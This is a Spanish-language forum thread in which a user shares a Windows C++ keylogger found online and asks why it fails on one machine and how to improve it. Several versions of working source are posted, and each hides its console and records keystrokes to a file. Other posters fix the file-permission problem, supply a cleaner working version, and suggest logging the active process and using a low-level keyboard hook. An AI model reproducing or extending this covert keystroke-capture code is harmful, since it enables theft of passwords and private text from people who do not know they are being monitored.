Hola a todos, tengo un par de dudas acerca de este codigo, la primera es q lo e probado en dos de mis equipos, en uno parece que realiza la funcion correctamente, crea un documento de txt en C: pero en el otro equipo no aparece!!
A que puede deberse esto??
La segunda duda es que el keylogger en si es muy sencillo, copia todo lo tecleado en un *.txt pero podria adaptarse algun codigo que te especifique la hora, o algo asi un poco más avanzadooo???
Os expongo aqui el codigo (el creador de este programa es kokehack) Lo encontre en la red.
#include <cstdlib>
#include <iostream>
#include <fstream>
#include <windows.h>
using namespace std;
int main()
{
FreeConsole();
string q="q";
string w="w";
string e="e";
string r="r";
string t="t";
string y="y";
string u="u";
string i="i";
string o="o";
string p="p";
string a="a";
string s="s";
string d="d";
string f="f";
string g="g";
string h="h";
string j="j";
string k="k";
string l="l";
string z="z";
string x="x";
string c="c";
string v="v";
string b="b";
string n="n";
string m="m";
string enter="[ENTER]";
string backspace="[BACKSPACE]";
string tab="[TAB]";
string spacebar=" ";
while(1)
{
Sleep(20);
ofstream log("C:\\log.txt", ios::app);
Sleep(20);
if(GetAsyncKeyState('Q')==-32767)
{log << q;}
if (GetAsyncKeyState('W')==-32767)
{log << w;}
if (GetAsyncKeyState('E')==-32767)
{log << e;}
if (GetAsyncKeyState('R')==-32767)
{log << r;}
if (GetAsyncKeyState('T')==-32767)
{log << t;}
if (GetAsyncKeyState('Y')==-32767)
{log << y;}
if (GetAsyncKeyState('U')==-32767)
{log << u;}
if (GetAsyncKeyState('I')==-32767)
{log << i;}
if (GetAsyncKeyState('O')==-32767)
{log << o;}
if (GetAsyncKeyState('P')==-32767)
{log << p;}
if (GetAsyncKeyState('A')==-32767)
{log << a;}
if (GetAsyncKeyState('S')==-32767)
{log << s;}
if (GetAsyncKeyState('D')==-32767)
{log << d;}
if (GetAsyncKeyState('F')==-32767)
{log << f;}
if (GetAsyncKeyState('G')==-32767)
{log << g;}
if (GetAsyncKeyState('H')==-32767)
{log << h;}
if (GetAsyncKeyState('J')==-32767)
{log << j;}
if (GetAsyncKeyState('K')==-32767)
{log << k;}
if (GetAsyncKeyState('L')==-32767)
{log << l;}
if (GetAsyncKeyState('Z')==-32767)
{log << z;}
if (GetAsyncKeyState('X')==-32767)
{log << x;}
if (GetAsyncKeyState('C')==-32767)
{log << c;}
if (GetAsyncKeyState('V')==-32767)
{log << v;}
if (GetAsyncKeyState('B')==-32767)
{log << b;}
if (GetAsyncKeyState('N')==-32767)
{log << n;}
if (GetAsyncKeyState('M')==-32767)
{log << m;}
if (GetAsyncKeyState('1')==-32767)
{log << 1;}
if (GetAsyncKeyState('2')==-32767)
{log << 2;}
if (GetAsyncKeyState('3')==-32767)
{log << 3;}
if (GetAsyncKeyState('4')==-32767)
{log << 4;}
if (GetAsyncKeyState('5')==-32767)
{log << 5;}
if (GetAsyncKeyState('6')==-32767)
{log << 6;}
if (GetAsyncKeyState('7')==-32767)
{log << 7;}
if (GetAsyncKeyState('8')==-32767)
{log << 8;}
if (GetAsyncKeyState('9')==-32767)
{log << 9;}
if (GetAsyncKeyState('0')==-32767)
{log << 0;}
if (GetAsyncKeyState(13)==-32767)
{log << enter;}
if (GetAsyncKeyState(8)==-32767)
{log << backspace;}
if (GetAsyncKeyState(9)==-32767)
{log << tab;}
if (GetAsyncKeyState(32)==-32767)
{log << spacebar;}
log.close();
}/*while*/
return 0;
}
gracias
Un cordial saludoo
WH
Esto si que es curioso, he pasado a limpio el código en el equipo que si funcionaba, y resulta que ahora tampoco va!!!!
Alguien me puede explicar el porque de esto?? lo agradeceria.
Me he tomado la molestia de comentar la mayoria de las sentencias, si encuentran algun error agradeceria que lo notificaran, asi el codigo sera mas facil de estudiar.
CODIGO:
//KEYLOGGER KEYHIDDEN v0.1 (beta)
// By WiseHidden Junio 2011
#include //Libreria que controla ciertos recursos del sistema operativo.
#include <iostream> //Parte del a STL que contiene los algoritmos estándar de E/S.
#include <fstream> //Flujos hacia/desde ficheros.
#include <windows.h>
using namespace std; //Esto permite al programador tener acceso a todos los miembros del namespace y escribir instrucciones mas concisas
int main() // Todo programa en Cpp necesita esta funcion
{
FreeConsole(); //Oculta la consola del programa pero el programa trabaja en segundo plano
string a="a"; // Cadenas de Texto
string b="b"; // Cadenas de Texto
string c="c"; // Cadenas de Texto
string d="d"; // Cadenas de Texto
string e="e"; // Cadenas de Texto
string f="f"; // Cadenas de Texto
string g="g"; // Cadenas de Texto
string h="h"; // Cadenas de Texto
string i="i"; // Cadenas de Texto
string j="j"; // Cadenas de Texto
string k="k"; // Cadenas de Texto
string l="l"; // Cadenas de Texto
string m="m"; // Cadenas de Texto
string n="n"; // Cadenas de Texto
string o="o"; // Cadenas de Texto
string p="p"; // Cadenas de Texto
string q="q"; // Cadenas de Texto
string r="r"; // Cadenas de Texto
string s="s"; // Cadenas de Texto
string t="t"; // Cadenas de Texto
string u="u"; // Cadenas de Texto
string w="w"; // Cadenas de Texto
string x="x"; // Cadenas de Texto
string y="y"; // Cadenas de Texto
string z="z"; // Cadenas de Texto
string enter="[ENTER]"; // Cadenas de Texto
string backspace="[BACKSPACE]"; // Cadenas de Texto
string tab="[TAB]"; // Cadenas de Texto
string spacebar=" "; // Cadenas de Texto
while(1) //Nos permite repetir la ejecución de un bloque hasta tanto una condición booleana se vuelva falsa.
{
Sleep(20); //Retardado en 0,2 milisegundos
ofstream log("C:\log.txt", ios::app); //Esta funcion creara un documento .txt en la ruta que le hemos designado
Sleep(20); //Retardado en 0,2 milisegundos
if(GetAsyncKeyState('A')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<a;}
if(GetAsyncKeyState('B')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<b;}
if(GetAsyncKeyState('C')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<c;}
if(GetAsyncKeyState('D')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<d;}
if(GetAsyncKeyState('E')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<e;}
if(GetAsyncKeyState('F')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<f;}
if(GetAsyncKeyState('G')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<g;}
if(GetAsyncKeyState('H')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<h;}
if(GetAsyncKeyState('I')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<i;}
if(GetAsyncKeyState('J')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<j;}
if(GetAsyncKeyState('K')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<k;}
if(GetAsyncKeyState('L')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<l;}
if(GetAsyncKeyState('M')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<m;}
if(GetAsyncKeyState('N')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<n;}
if(GetAsyncKeyState('O')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<o;}
if(GetAsyncKeyState('P')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<p;}
if(GetAsyncKeyState('Q')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<q;}
if(GetAsyncKeyState('R')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<r;}
if(GetAsyncKeyState('S')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<s;}
if(GetAsyncKeyState('T')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<t;}
if(GetAsyncKeyState('U')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<u;}
if(GetAsyncKeyState('W')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<w;}
if(GetAsyncKeyState('X')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<x;}
if(GetAsyncKeyState('Y')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<y;}
if(GetAsyncKeyState('Z')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<z;}
if(GetAsyncKeyState('0')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<0;}
if(GetAsyncKeyState('1')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<1;}
if(GetAsyncKeyState('2')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<2;}
if(GetAsyncKeyState('3')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<3;}
if(GetAsyncKeyState('4')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<4;}
if(GetAsyncKeyState('5')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<5;}
if(GetAsyncKeyState('6')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<6;}
if(GetAsyncKeyState('7')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<7;}
if(GetAsyncKeyState('8')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<8;}
if(GetAsyncKeyState('9')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<9;}
if(GetAsyncKeyState(13)==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<enter;}
if(GetAsyncKeyState(8)==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<backspace;}
if(GetAsyncKeyState(9)==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<tab;}
if(GetAsyncKeyState(32)==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
{log<<spacebar;}
log.close();
}/*while*/
return 0;
}
UN SALUDO
Atentamente
WiseHidden
.
Veo que el keylogger es para windows,
Mejor instala un Hook al teclado haci te ahorras el alto consumo del procesador ( While ).
Dulces Lunas!¡.
CitarMejor instala un Hook al teclado haci te ahorras el alto consumo del procesador ( While ).
Y me podrias orientar como??
Citarla primera es q lo e probado en dos de mis equipos, en uno parece que realiza la funcion correctamente, crea un documento de txt en C: pero en el otro equipo no aparece!! A que puede deberse esto??
Sigo sin saber porque no funciona en algunos equipos , puede ser por el S.O?
Citarpodria adaptarse algun codigo que te especifique la hora, o algo asi un poco más avanzadooo???
Una vez resueltas las dudas me gustaria agregarle esto, agradeceria vuestra ayuda
gracias
un saludo
wh
Hola, no se si es solo al escribir tu codigo aqui, pero creo que en el segundo codigo te has olvidado:
#include <cstdlib>
otra cosa, para usar los string necesitas
#include <string>
una cosa mas, no entiendo muy bien para que usar tantas variables string...
si cuando haces los if puedes hacer esto directamente:
log<<"a";
saludos
EDITO:
creo que no tienes permiso para escribir un archivo en C:, lo que puedes hacer es crear una carpeta en C: y dentro de la carpeta escribir el archivo log.
Necesitas:
#include <direct.h>
y para crear la carpeta:
mkdir("C:\\carpeta");
para el tema de poner la hora, se podria escribir la hora en el archivo cada minuto (si toca el teclado), tambien otra cosa mas interesante, es saber cual es el proceso que tiene en primer plano y escribirlo tambien en el archivo
Cita de: WiseHidden en 11 Junio 2011, 12:25 PM
Y me podrias orientar como??
está en inglés y al final, en mi opinión, el autor se enreda un poco... :rolleyes:, pero creo que te servirá
http://www.docdroppers.org/wiki/index.php?title=Writing_Keyloggers
Cita de: WiseHidden en 11 Junio 2011, 12:25 PM
Sigo sin saber porque no funciona en algunos equipos , puede ser por el S.O?
en Vista y Seven, debido a la uac, una aplicación que no se ejecuta como administrador no puede crear/modificar un archivo en c:... Diría que la cosa va por ahí.... :laugh:
Citaren Vista y Seven, debido a la uac, una aplicación que no se ejecuta como administrador no puede crear/modificar un archivo en c:... Diría que la cosa va por ahí.
Valla!! Viene por defecto no?? Pero se podria quitar? o eso queda limitado siempre?
CitarHola, no se si es solo al escribir tu codigo aqui, pero creo que en el segundo codigo te has olvidado:
Si, error mio al pegarlo en el post, fue al escribir los comentarios cuando me lo comí sin querer, :D
luego Fastama306 he probado todo lo que me has dicho pero me salta un error en esta linea
Citar#include <cstdlib>
#include <iostream>
#include <fstream>
#include <string>
#include <direct.h>
#include <windows.h>
using namespace std;
int main()
{
FreeConsole();
string q="q";
string w="w";
string e="e";
string r="r";
string t="t";
string y="y";
string u="u";
string i="i";
string o="o";
string p="p";
string a="a";
string s="s";
string d="d";
string f="f";
string g="g";
string h="h";
string j="j";
string k="k";
string l="l";
string z="z";
string x="x";
string c="c";
string v="v";
string b="b";
string n="n";
string m="m";
string enter="[ENTER]";
string backspace="[BACKSPACE]";
string tab="[TAB]";
string spacebar=" ";
while(1)
{
Sleep(20);
mkdir("C:\\registro\log.txt");
Sleep(20);
if (GetAsyncKeyState('Q')==-32767)
{log << q;} <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<ERROR>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
if (GetAsyncKeyState('W')==-32767)
{log << w;}
if (GetAsyncKeyState('E')==-32767)
{log << e;}
if (GetAsyncKeyState('R')==-32767)
{log << r;}
if (GetAsyncKeyState('T')==-32767)
{log << t;}
if (GetAsyncKeyState('Y')==-32767)
{log << y;}
if (GetAsyncKeyState('U')==-32767)
{log << u;}
if (GetAsyncKeyState('I')==-32767)
{log << i;}
if (GetAsyncKeyState('O')==-32767)
{log << o;}
if (GetAsyncKeyState('P')==-32767)
{log << p;}
if (GetAsyncKeyState('A')==-32767)
{log << a;}
if (GetAsyncKeyState('S')==-32767)
{log << s;}
if (GetAsyncKeyState('D')==-32767)
{log << d;}
if (GetAsyncKeyState('F')==-32767)
{log << f;}
if (GetAsyncKeyState('G')==-32767)
{log << g;}
if (GetAsyncKeyState('H')==-32767)
{log << h;}
if (GetAsyncKeyState('J')==-32767)
{log << j;}
if (GetAsyncKeyState('K')==-32767)
{log << k;}
if (GetAsyncKeyState('L')==-32767)
{log << l;}
if (GetAsyncKeyState('Z')==-32767)
{log << z;}
if (GetAsyncKeyState('X')==-32767)
{log << x;}
if (GetAsyncKeyState('C')==-32767)
{log << c;}
if (GetAsyncKeyState('V')==-32767)
{log << v;}
if (GetAsyncKeyState('B')==-32767)
{log << b;}
if (GetAsyncKeyState('N')==-32767)
{log << n;}
if (GetAsyncKeyState('M')==-32767)
{log << m;}
if (GetAsyncKeyState('1')==-32767)
{log << 1;}
if (GetAsyncKeyState('2')==-32767)
{log << 2;}
if (GetAsyncKeyState('3')==-32767)
{log << 3;}
if (GetAsyncKeyState('4')==-32767)
{log << 4;}
if (GetAsyncKeyState('5')==-32767)
{log << 5;}
if (GetAsyncKeyState('6')==-32767)
{log << 6;}
if (GetAsyncKeyState('7')==-32767)
{log << 7;}
if (GetAsyncKeyState('8')==-32767)
{log << 8;}
if (GetAsyncKeyState('9')==-32767)
{log << 9;}
if (GetAsyncKeyState('0')==-32767)
{log << 0;}
if (GetAsyncKeyState(13)==-32767)
{log << enter;}
if (GetAsyncKeyState(8)==-32767)
{log << backspace;}
if (GetAsyncKeyState(9)==-32767)
{log << tab;}
if (GetAsyncKeyState(32)==-32767)
{log << spacebar;}
log.close();
}/*while*/
return 0;
}
Citarluego Fastama306 he probado todo lo que me has dicho pero me salta un error en esta linea
bueno eso es por que mkdir es para crear un carpeta, y no un archivo.
modifique un poco el codigo, asi es como me quedo:
#include <fstream>
#include <windows.h>
#include <string>
#include <direct.h>
using namespace std;
int main(){
FreeConsole();
string enter="[ENTER]";
string backspace="[BACKSPACE]";
string tab="[TAB]";
mkdir("C:\\registro");
while(true){
Sleep(20);
ofstream log("C:\\registro\\log.txt", ios_base::app);
if(log.is_open()){
if (GetAsyncKeyState('Q')==-32767)log << "q";
if (GetAsyncKeyState('W')==-32767)log << "w";
if (GetAsyncKeyState('E')==-32767)log << "e";
if (GetAsyncKeyState('R')==-32767)log << "r";
if (GetAsyncKeyState('T')==-32767)log << "t";
if (GetAsyncKeyState('Y')==-32767)log << "y";
if (GetAsyncKeyState('U')==-32767)log << "u";
if (GetAsyncKeyState('I')==-32767)log << "i";
if (GetAsyncKeyState('O')==-32767)log << "o";
if (GetAsyncKeyState('P')==-32767)log << "p";
if (GetAsyncKeyState('A')==-32767)log << "a";
if (GetAsyncKeyState('S')==-32767)log << "s";
if (GetAsyncKeyState('D')==-32767)log << "d";
if (GetAsyncKeyState('F')==-32767)log << "f";
if (GetAsyncKeyState('G')==-32767)log << "g";
if (GetAsyncKeyState('H')==-32767)log << "h";
if (GetAsyncKeyState('J')==-32767)log << "j";
if (GetAsyncKeyState('K')==-32767)log << "k";
if (GetAsyncKeyState('L')==-32767)log << "l";
if (GetAsyncKeyState('Z')==-32767)log << "z";
if (GetAsyncKeyState('X')==-32767)log << "x";
if (GetAsyncKeyState('C')==-32767)log << "c";
if (GetAsyncKeyState('V')==-32767)log << "v";
if (GetAsyncKeyState('B')==-32767)log << "b";
if (GetAsyncKeyState('N')==-32767)log << "n";
if (GetAsyncKeyState('M')==-32767)log << "m";
if (GetAsyncKeyState('1')==-32767)log << "1";
if (GetAsyncKeyState('2')==-32767)log << "2";
if (GetAsyncKeyState('3')==-32767)log << "3";
if (GetAsyncKeyState('4')==-32767)log << "4";
if (GetAsyncKeyState('5')==-32767)log << "5";
if (GetAsyncKeyState('6')==-32767)log << "6";
if (GetAsyncKeyState('7')==-32767)log << "7";
if (GetAsyncKeyState('8')==-32767)log << "8";
if (GetAsyncKeyState('9')==-32767)log << "9";
if (GetAsyncKeyState('0')==-32767)log << "0";
if (GetAsyncKeyState(13) ==-32767)log << enter;
if (GetAsyncKeyState( 8) ==-32767)log << backspace;
if (GetAsyncKeyState( 9) ==-32767)log << tab;
if (GetAsyncKeyState(32) ==-32767)log << " ";
log.close();
}
}
return 0;
}
Perfecto Fantasma306 has dado en el clavo, me has dado el toque que me faltaba, ademas de que tu codigo es mas limpio y "chupa" menos de la CPU que el mio.
Mil gracias, espero estemos mas en contacto
gracias tambien a jaunx y a BlackZeroX por su ayuda tambien
un cordial saludooooo
Con un hook tendrás de consumo prácticamente 0% del uso del procesador.
http://msdn.microsoft.com/en-us/library/ms644990(v=vs.85).aspx
debes instalar el hook hacia el mensaje WH_KEYBOARD_LL
Dulces Lunas!¡.